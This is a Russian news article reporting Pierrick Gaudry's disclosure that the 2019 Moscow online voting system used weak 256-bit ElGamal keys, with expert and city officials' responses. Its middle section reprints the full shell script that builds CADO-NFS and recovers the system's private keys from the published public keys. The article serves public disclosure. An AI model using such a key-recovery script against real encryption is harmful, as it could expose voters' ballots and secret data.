Криптограф Пьеррик Годри описал уязвимость онлайн-голосования на выборах в Мосгордуму

в 4:32, , рубрики: информационная безопасность, криптография, Мосгордума, Пьеррик Годри, схема Эль-Гамаля

Криптограф Пьеррик Годри описал уязвимость онлайн-голосования на выборах в Мосгордуму - 1Один из самых известных в мире специалистов по криптографии Пьеррик Годри, директор по исследованиям Национального центра научных исследований Франции, опубликовал доклад с анализом криптографической защиты системы онлайн-голосования на выборах в Московскую городскую думу (“Breaking the encryption scheme of the Moscow internet voting system” на сайте препринтов arXivb). Согласно выводам специалиста, шифрование в российской системе электронного голосования является «совершенно небезопасным» и может быть взломано примерно за 20 минут.

А именно, на четырёхъядерном компьютере Core i5-4590 3,3 ГГц с 16 ГБ RAM на стандартном дистрибутиве Debian подбор первого ключа в трёхуровневой схеме шифрования занял 425 секунд, второго — 507 секунд, третьего — 314 секунд, итого 1246 секунд, то есть 20 мин 46 сек.

Пьеррик Годри отметил, что ему не известны причины, почему российские коллеги используют именно трёхуровневую схему Эль-Гамаля с маленькими размерами ключей.

Открытое тестирование

17 июля 2019 года в рамках тестирования системы электронного голосования исходный код некоторых модулей, построенных на блокчейне, выкладывали на GitHub. Был создан отдельный тестовый контур, полностью воспроизводящий систему, в которой будут работать пользователи 8 сентября.

В частности, на GitHub разместили код смарт-контрактов в блокчейн-сети, библиотеку шифрования данных и специальный код, позволяющий отправлять данные в блокчейн. Смарт-контракты — это программный код, отвечающий за реализацию функционала и обеспечивающий единообразное исполнение указанного кода на всех узлах блокчейн-сети.

Библиотека шифрования позволяет осуществлять шифрование данных с использованием пары «открытый − закрытый» ключ. Шифрование происходит при помощи открытого ключа, а закрытый ключ позволяет расшифровать данные. При этом опубликованному открытому ключу соответствует только один закрытый ключ. Код для использования смарт-контрактов позволяет отправить данные напрямую в блокчейн с веб-страницы, где находится бюллетень для голосования.

Как отметили в Департаменте информационных технологий, «народное» тестирование должно выявить уязвимые места в системе электронного голосования и повысить уровень информационной безопасности. Так, добровольцам предложили проверить защиту инфраструктуры портала mos.ru (именно здесь 8 сентября пройдет электронное голосование на выборах в Мосгордуму в трёх округах) и серверов от возможных DDoS-атак.

Кроме того, проверялись уязвимость портала и процесса голосования.

Тестировались и алгоритмы шифрования. На тестовый взлом зашифрованных анонимизированных голосов хакерам отводилось 12 часов. Именно столько 8 сентября 2019 года будет длиться реальное голосование на выборах. Через 12 часов шифр менялся — и начиналась следующая попытка.

Программное обеспечение системы выборов работает на блокчейне. Электронный анонимный бюллетень хранится в системе, к которой подключено множество пользователей. Теоретически, цепочку блоков практически невозможно взломать, так как для этого нужно проникнуть в большую часть компьютеров сети.

Электронный бюллетень для голосования аналогичен бумажному. На процедуру голосования отводится 15 минут — за это время избиратель должен поставить знак напротив одного из кандидатов. Информация о бюллетене не сохраняется ни в браузере пользователя, ни на сервере администратора, что позволяет сохранить тайну голосования. Результат сразу отправляется в блокчейн-систему, в которой также проходит подсчет голосов.

Найденная уязвимость

Пьеррик Годри в своём докладе подтвердил, что создатели системы каждый день выкладывали на GitHub публичные ключи шифрования и зашифрованные ими данные, а также раскрывали информацию о приватных ключах и данных, выложенных на день раньше. Однако французский исследователь обращает внимание, что длина публичного ключа составляет 256 бит. Это позволяет вычислить приватный ключ и взломать шифрование системы примерно за 20 минут, используя обычный персональный компьютер и бесплатное программное обеспечение.

Шелл-скрипт атаки

## These are commands to be run on a Linux machine (Debian or Ubuntu).
## The main workhorse for the discrete logarithm computations is CADO-NFS,
## and we use GP-Pari as a ’pocket calculator’ for modular arithmetic.
# install some packages
sudo apt install pari-gp jq
sudo apt install libgmp3-dev gcc g++ cmake libhwloc-dev
alias gpnoc="gp -q --default colors="no""
# download and compile cado-nfs
cd /tmp
git clone https://scm.gforge.inria.fr/anonscm/git/cado-nfs/cado-nfs.git
cd cado-nfs
git checkout fdae0f9f382c # most recent version at the time of writing
make cmake
make -j 4
# download blockchain-voting and extract public keys
cd /tmp
git clone https://github.com/moscow-technologies/blockchain-voting.git
cd blockchain-voting
git checkout d70986b2c4da # most recent version at the time of writing
cd /tmp
# loop on the 3 public keys; could be done in parallel on 3 machines.
for i in {0,1,2}; do
start=‘date +%s‘
# extract the public key information
p=‘jq .modulos[$i] /tmp/blockchain-voting/encryption-keys/keys/public-key.json | tr -d "‘
g=‘jq .generators[$i] /tmp/blockchain-voting/encryption-keys/keys/public-key.json | tr -d "‘
h=‘jq .publicKeys[$i] /tmp/blockchain-voting/encryption-keys/keys/public-key.json | tr -d "‘
ell=‘echo "($p-1)/2" | gpnoc‘
# run cado-nfs to get log of h (takes a few minutes)
wdir=‘mktemp -d /tmp/cadorunXXXXXX‘
log_h=‘/tmp/cado-nfs/cado-nfs.py -dlp -ell $ell workdir=$wdir target=$h $p‘
# run again to get log of generator (faster, since it reuses precomputed data)
log_g=‘/tmp/cado-nfs/cado-nfs.py $wdir/p75.parameters_snapshot.0 target=$g‘
# deduce private key
x=‘gpnoc <<EOF
xell=lift(Mod($log_h,$ell)/Mod($log_g,$ell)); half=lift(1/Mod(2,$ell));
x0=lift(Mod(2*half*xell, 2*$ell)); h0=lift(Mod($g,$p)^x0);
if (h0 != $h, x0=lift(Mod(2*half*xell+$ell, 2*$ell)));
x0
EOF‘
stop=‘date +%s‘
echo "Private key number $((i+1)) is $x, computed in $((stop-start)) seconds."
done

«Не имея доступа к информации об используемом в системе протоколе, сложно точно просчитать последствия данной уязвимости и то, насколько легко злоумышленнику будет найти соответствие между бюллетенями и избирателями, хотя я полагаю, что эта слабая схема шифрования используется именно для шифрования бюллетеней. В худшем случае это может привести к тому, что выбор всех избирателей, использующих систему электронного голосования, станет публично известен, как только они проголосуют», — утверждает Годри.

Заместитель гендиректора компании «КриптоПро» Станислав Смышляев пояснил в комментарии РБК: «Ошибка разработчиков системы электронного голосования заключается в том, что в одной из криптосистем используется ключ слишком малой длины, который не является стойким. При этом разработчики пытались усилить безопасность системы за счёт внедрения троекратного шифрования с тремя разными короткими ключами. Но в результате стойкость итоговой криптосистемы от взлома не выросла в три раза — она вообще почти не выросла. Надеюсь, что у разработчиков ещё есть время, чтобы переработать систему», — сказал Смышляев.

Он добавил, что для избежания таких ошибок криптографические средства обычно сертифицируются в ФСБ, а системы с их использованием — исследуются. «Уверен, что любая аккредитованная ФСБ России лаборатория быстро отловила бы такую уязвимость», — говорит он. При этом, по словам Смышляева, из открытых данных до конца неясно — для чего конкретно в системе электронного голосования используется тот модуль, который смог взломать исследователь, поэтому «оценить практические последствия уязвимости в данном сегменте системы не удастся».

Разработчик отечественных систем шифрования Дмитрий Белявский после ознакомления с докладом Годри подтвердил, что основная уязвимость системы — возможность вычислить приватный ключ по публичному из-за слишком слабых параметров (256 бит): «Исследователь в докладе описывает ещё одну уязвимость системы: даже без взлома ключей способ выбора параметров шифрования позволяет определить один бит зашифрованного текста. Дальше всё зависит от того, как именно технологически шифруется бюллетень избирателя. Если избиратель при голосовании будет выбирать из двух кандидатов, то содержательно этот один бит и есть его выбор. С другой стороны, при возможности вычислить ключи за единицы минут исследовать этот вектор атаки даже нет необходимости, так как в системе есть более важная уязвимость».

Голосование

Эксперимент по электронному голосованию на выборах в Мосгордуму 8 сентября пройдёт в трёх избирательных округах: № 1 (все районы Зеленограда), № 10 (Северный, Лианозово, Бибирево) и № 30 (Чертаново Центральное, Чертаново Южное).

Примерно полмиллиона жителей столицы смогут выбрать своего депутата, не посещая избирательный участок, — с помощью компьютера, планшета или смартфона. Для участия в электронном голосовании необходимо подать заявление через личный кабинет на портале mos.ru с 24 июля по 4 сентября включительно. Участие в электронном голосовании добровольное: проголосовать можно и привычным способом, придя на участок и опустив бюллетень в избирательную урну.

Представитель пресс-службы департамента информационных технологий (ДИТ) Москвы сообщил РБК, что там отчасти согласны с мнением, представленным в докладе: три приватных ключа по 256 бит не обеспечивают достаточную стойкость шифрования. «Такое применение было использовано только во время испытательного периода. В течение пары дней длина ключа будет изменена на 1024 бит. Обращаем внимание, что взлом схемы шифрования не был осуществлён. Мы специально выкладываем открытый ключ и зашифрованные голоса, чтобы их попытались расшифровать до публикации закрытого ключа. Взять закрытый ключ и последовательно расшифровать зашифрованные голоса можно и за 20, и за 5 минут, найдя все основания для шифрования. Однако задача была не в этом», — сказал он.

Представитель ДИТ пообещал, что будет осуществлён переход на другой принцип формирования случайных элементов кода: «Он будет основан, как правильно отметил наш французский коллега, на уникальных транзакциях из самого браузера пользователя, а не на генераторе случайных чисел», — сказал он.

Автор: alizar

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js